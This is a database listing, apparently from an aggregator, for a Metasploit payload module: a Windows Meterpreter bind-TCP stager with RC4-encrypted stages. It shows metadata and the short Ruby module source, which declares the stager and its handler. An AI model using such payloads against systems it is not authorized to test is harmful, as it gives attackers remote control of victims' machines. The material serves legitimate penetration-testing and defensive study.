Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)

2012-12-31T21:33:30
ID MSF:PAYLOAD/WINDOWS/PATCHUPMETERPRETER/BIND_TCP_RC4
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Inject the meterpreter server DLL (staged). Listen for a connection

                                        
                                            # -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/bind_tcp_rc4'


module MetasploitModule

  CachedSize = 402

  include Msf::Payload::Stager
  include Msf::Payload::Windows::BindTcpRc4

  def self.handler_type_alias
    "bind_tcp_rc4"
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Bind TCP Stager (RC4 Stage Encryption, Metasm)',
      'Description'   => 'Listen for a connection',
      'Author'        => ['hdm', 'skape', 'sf', 'mihi', 'RageLtMan'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Convention'    => 'sockedi',
      'Stager'        => { 'RequiresMidstager' => false }
      ))
  end
end